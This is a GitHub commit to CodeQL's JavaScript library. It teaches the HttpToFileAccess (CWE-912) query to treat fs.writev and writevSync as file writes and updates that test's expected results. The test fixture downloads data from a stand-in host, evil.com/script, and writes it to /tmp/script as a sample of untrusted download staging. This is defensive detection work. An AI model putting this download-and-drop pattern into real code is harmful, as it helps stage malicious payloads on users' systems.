Skip to content

Commit 495af56

Browse files
committed
Added NodeJSFileSystemVectorWrite class for vectored write.
1 parent e0c6cbb commit 495af56

File tree

3 files changed

+21
-3
lines changed

3 files changed

+21
-3
lines changed

javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -601,6 +601,13 @@ module NodeJSLib {
601601
}
602602
}
603603

604+
/** A vectored write to the file system using `writev` or `writevSync` methods. */
605+
private class NodeJSFileSystemVectorWrite extends FileSystemWriteAccess, NodeJSFileSystemAccess {
606+
NodeJSFileSystemVectorWrite() { methodName = ["writev", "writevSync"] }
607+
608+
override DataFlow::Node getADataNode() { result = this.getArgument(1) }
609+
}
610+
604611
/** A file system read. */
605612
private class NodeJSFileSystemAccessRead extends FileSystemReadAccess, NodeJSFileSystemAccess {
606613
NodeJSFileSystemAccessRead() { methodName = ["read", "readSync", "readFile", "readFileSync"] }

javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,16 @@
11
#select
22
| HttpToFileAccess.js:6:37:6:37 | d | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | Write to file system depends on $@. | HttpToFileAccess.js:5:18:5:18 | d | Untrusted data |
3+
| HttpToFileAccess.js:14:21:14:23 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:21:14:23 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data |
4+
| HttpToFileAccess.js:18:46:18:48 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:46:18:48 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data |
35
| tst.js:16:33:16:33 | c | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
46
| tst.js:19:25:19:25 | c | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
57
| tst.js:24:22:24:22 | c | tst.js:15:26:15:26 | c | tst.js:24:22:24:22 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
68
edges
79
| HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | provenance | |
10+
| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:22:14:22 | d | provenance | |
11+
| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:47:18:47 | d | provenance | |
12+
| HttpToFileAccess.js:14:22:14:22 | d | HttpToFileAccess.js:14:21:14:23 | [d] | provenance | |
13+
| HttpToFileAccess.js:18:47:18:47 | d | HttpToFileAccess.js:18:46:18:48 | [d] | provenance | |
814
| tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance | |
915
| tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance | |
1016
| tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | provenance | |
@@ -15,6 +21,11 @@ edges
1521
nodes
1622
| HttpToFileAccess.js:5:18:5:18 | d | semmle.label | d |
1723
| HttpToFileAccess.js:6:37:6:37 | d | semmle.label | d |
24+
| HttpToFileAccess.js:12:18:12:18 | d | semmle.label | d |
25+
| HttpToFileAccess.js:14:21:14:23 | [d] | semmle.label | [d] |
26+
| HttpToFileAccess.js:14:22:14:22 | d | semmle.label | d |
27+
| HttpToFileAccess.js:18:46:18:48 | [d] | semmle.label | [d] |
28+
| HttpToFileAccess.js:18:47:18:47 | d | semmle.label | d |
1829
| tst.js:15:26:15:26 | c | semmle.label | c |
1930
| tst.js:16:33:16:33 | c | semmle.label | c |
2031
| tst.js:16:33:16:33 | c | semmle.label | c |

javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -9,13 +9,13 @@ https.get('https://evil.com/script', res => {
99

1010

1111
https.get('https://evil.com/script', res => {
12-
res.on("data", d => { // $ MISSING: Source
12+
res.on("data", d => { // $ Source
1313
fs.open("/tmp/script", 'r', (err, fd) => {
14-
fs.writev(fd, [d], (err, bytesWritten) => { // $ MISSING: Alert
14+
fs.writev(fd, [d], (err, bytesWritten) => { // $ Alert
1515
console.log(`Wrote ${bytesWritten} bytes`);
1616
});
1717

18-
const bytesWritten = fs.writevSync(fd, [d]); // $ MISSING: Alert
18+
const bytesWritten = fs.writevSync(fd, [d]); // $ Alert
1919
});
2020
});
2121
});

0 commit comments

Comments
 (0)